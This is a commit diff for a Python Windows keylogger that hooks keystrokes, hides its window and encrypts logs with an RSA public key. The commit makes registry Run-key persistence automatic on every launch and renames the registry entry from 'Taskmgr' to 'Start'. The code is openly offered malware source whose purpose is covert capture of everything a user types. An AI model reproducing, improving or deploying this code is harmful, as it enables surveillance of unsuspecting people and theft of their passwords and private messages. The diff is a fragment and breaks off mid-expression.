11#!/usr/bin/env python
22# -*- coding: utf-8 -*-
3+ import os
34import sys # for getting sys.argv
45import win32event , \
56 win32api , winerror # for disallowing multiple instances
@@ -16,7 +17,7 @@ def hide():
1617
1718
1819if len (sys .argv ) == 1 :
19- sys .argv = [sys .argv [0 ], 'local' , 'encrypt' , 'startup' ]
20+ sys .argv = [sys .argv [0 ], 'local' , 'encrypt' ]
2021# General precautions
2122elif len (sys .argv ) > 10 : # limit the number of args
2223 exit (0 )
@@ -32,7 +33,6 @@ def hide():
3233
3334
3435import keyboard # for keyboard hooks. See docs https://github.com/boppreh/keyboard
35- import os # for handling paths and removing files (FTP mode)
3636import time
3737import psutil
3838import ctypes # for getting window titles, current keyboard layout and capslock state
@@ -59,39 +59,41 @@ def hide():
5959 exit (0 )
6060
6161
62+ # CONSTANTS
63+ PYTHON_EXEC_PATH = 'python' # used only when executable=False.
64+ # Examples: 'C:\\...\\python.exe' or 'python' if it is on your PATH.
65+
66+
6267# Add to startup for persistence
63- def add_to_startup (mode , encryption_on , executable ):
68+ def add_to_startup ():
6469 key_val = r'Software\Microsoft\Windows\CurrentVersion\Run'
6570
6671 key2change = OpenKey (HKEY_CURRENT_USER ,
6772 key_val , 0 , KEY_ALL_ACCESS )
6873 if executable :
69- sys_args = ' ' .join (['exe' , mode , 'startup' ])
7074 reg_value_prefix , reg_value_postfix = '' , ''
7175 else :
72- sys_args = ' ' .join ([mode , 'startup' ])
7376 reg_value_prefix = 'CMD /k "cd ' + dir_path + ' && ' + PYTHON_EXEC_PATH + ' '
7477 reg_value_postfix = '"'
75- reg_value = reg_value_prefix + '"' + current_file_path + '" ' + sys_args + \
78+ reg_value = reg_value_prefix + '"' + current_file_path + '" ' + mode + \
7679 (' encrypt' if encryption_on else '' ) + reg_value_postfix
7780 try :
78- SetValueEx (key2change , "Taskmgr " , 0 , REG_SZ , reg_value )
81+ SetValueEx (key2change , "Start " , 0 , REG_SZ , reg_value )
7982 except Exception as e :
8083 print (e )
8184
8285
83- executable = False
84- if "exe" in sys .argv :
86+ current_file_path = os .path .realpath (sys .argv [0 ])
87+ dir_path = os .path .dirname (os .path .realpath (sys .argv [0 ]))
88+ current_file_name = os .path .split (os .path .realpath (sys .argv [0 ]))[- 1 ]
89+
90+ if current_file_name .split ("." )[- 1 ] == 'exe' :
8591 executable = True
92+ else :
93+ executable = False
8694if "encrypt" in sys .argv :
8795 encryption_on = True
88- if "startup" in sys .argv :
89- add_to_startup (mode , encryption_on , executable )
90-
91-
92- # CONSTANTS
93- PYTHON_EXEC_PATH = 'python' # used only when executable=False.
94- # Examples: 'C:\\...\\python.exe' or 'python' if it is on your PATH.
96+ add_to_startup ()
9597
9698# RSA PUBLIC KEY FOR ENCRYPTION
9799public_key_str = """-----BEGIN PUBLIC KEY-----
@@ -112,9 +114,6 @@ def add_to_startup(mode, encryption_on, executable):
112114# with open("public_key.pem", "rb") as f:
113115# public_key = f.read()
114116
115- current_file_path = os .path .realpath (sys .argv [0 ])
116- dir_path = os .path .dirname (os .path .realpath (sys .argv [0 ]))
117- current_file_name = os .path .split (os .path .realpath (sys .argv [0 ]))[- 1 ]
118117# this number of characters must be typed for the logger to write the line_buffer:
119118# (formula from Cryptodome.Cipher.PKCS1OAEP_Cipher.encypt)
120119CHAR_LIMIT = Cryptodome .Util .number .ceil_div (Cryptodome .Util .number .size (RSA .importKey (public_key ).n ), 8 ) - \
0 commit comments